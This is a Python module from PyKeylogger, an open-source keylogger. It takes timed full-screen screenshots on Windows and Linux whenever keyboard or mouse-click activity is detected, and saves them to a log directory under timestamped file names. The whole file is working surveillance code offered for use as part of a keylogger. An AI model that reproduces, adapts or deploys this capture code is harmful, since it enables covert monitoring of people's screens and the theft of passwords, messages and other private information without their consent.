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timedscreenshot.py
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timedscreenshot.py
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##############################################################################
##
## PyKeylogger: Simple Python Keylogger for Windows
## Copyright (C) 2009 nanotube@users.sf.net
##
## http://pykeylogger.sourceforge.net/
##
## This program is free software; you can redistribute it and/or
## modify it under the terms of the GNU General Public License
## as published by the Free Software Foundation; either version 3
## of the License, or (at your option) any later version.
##
## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
## GNU General Public License for more details.
##
## You should have received a copy of the GNU General Public License
## along with this program. If not, see <http://www.gnu.org/licenses/>.
##
##############################################################################
from myutils import (_settings, _cmdoptions, OnDemandRotatingFileHandler,
to_unicode)
from Queue import Queue, Empty
from threading import Event
import os
import os.path
import logging
import time
import re
import sys
import datetime
if os.name == 'nt':
import win32api
import ImageGrab
elif os.name == 'posix':
import gtk
else:
print "OS is not recognised as windows or linux"
sys.exit()
from baseeventclasses import *
from onclickimagecapture import CropBox, Point
class TimedScreenshotFirstStage(FirstStageBaseEventClass):
'''Takes screenshots at fixed interval.
Only if any user keyboard or mouse activity is detected in between.
Does not count mouse motion, only clicks.
Sets the secondstage event to notify of activity.
'''
def __init__(self, *args, **kwargs):
FirstStageBaseEventClass.__init__(self, *args, **kwargs)
self.task_function = self.process_event
def process_event(self):
try:
event = self.q.get(timeout=0.05) #need the timeout so that thread terminates properly when exiting
self.sst_q.set()
self.logger.debug("User activity detected")
except Empty:
pass #let's keep iterating
except:
self.logger.debug("some exception was caught in "
"the logwriter loop...\nhere it is:\n", exc_info=True)
pass #let's keep iterating
def spawn_second_stage_thread(self):
self.sst_q = Event()
self.sst = TimedScreenshotSecondStage(self.dir_lock,
self.sst_q, self.loggername)
class TimedScreenshotSecondStage(SecondStageBaseEventClass):
def __init__(self, dir_lock, *args, **kwargs):
SecondStageBaseEventClass.__init__(self, dir_lock, *args, **kwargs)
self.task_function = self.process_event
self.logger = logging.getLogger(self.loggername)
self.sleep_counter = 0
def process_event(self):
try:
# break up the sleep into short bursts, to allow for quick
# and clean exit.
time.sleep(0.05)
self.sleep_counter += 0.05
if self.sleep_counter > self.subsettings['General']['Screenshot Interval']:
if self.q.isSet():
self.logger.debug("capturing timed screenshot...")
try:
savefilename = os.path.join(\
self.settings['General']['Log Directory'],
self.subsettings['General']['Log Subdirectory'],
self.parse_filename())
self.capture_image(savefilename)
finally:
self.q.clear()
self.sleep_counter = 0
except:
self.logger.debug("some exception was caught in the "
"screenshot loop...\nhere it is:\n", exc_info=True)
pass #let's keep iterating
def capture_image(self, savefilename):
screensize = self.get_screen_size()
# The cropbox will take care of making sure our image is within
# screen boundaries.
cropbox = CropBox(topleft=Point(0,0),
bottomright=screensize,
min=Point(0,0),
max=screensize)
self.logger.debug(cropbox)
if os.name == 'posix':
screengrab = gtk.gdk.Pixbuf(
gtk.gdk.COLORSPACE_RGB,
False,
8,
screensize.x,
screensize.y)
screengrab.get_from_drawable(
gtk.gdk.get_default_root_window(),
gtk.gdk.colormap_get_system(),
0, 0, 0, 0,
screensize.x,
screensize.y)
save_options_dict = {}
if self.subsettings['General']['Screenshot Image Format'].lower() in ['jpg','jpeg']:
self.subsettings['General']['Screenshot Image Format'] = 'jpeg'
save_options_dict = {'quality':to_unicode(self.subsettings['General']['Screenshot Image Quality'])}
screengrab.save(savefilename,
self.subsettings['General']['Screenshot Image Format'],
save_options_dict)
if os.name == 'nt':
image_data = ImageGrab.grab((cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y))
image_data.save(savefilename,
quality=self.subsettings['General']['Screenshot Image Quality'])
def get_screen_size(self):
if os.name == 'posix':
return Point(gtk.gdk.screen_width(),
gtk.gdk.screen_height())
if os.name == 'nt':
return Point(win32api.GetSystemMetrics(0),
win32api.GetSystemMetrics(1))
def parse_filename(self):
filepattern = self.subsettings['General']['Screenshot Image Filename']
fileextension = self.subsettings['General']['Screenshot Image Format']
filepattern = re.sub(r'%time%',
datetime.datetime.today().strftime('%Y%m%d_%H%M%S_') + \
str(datetime.datetime.today().microsecond),
filepattern)
filepattern = filepattern + '.' + fileextension
return filepattern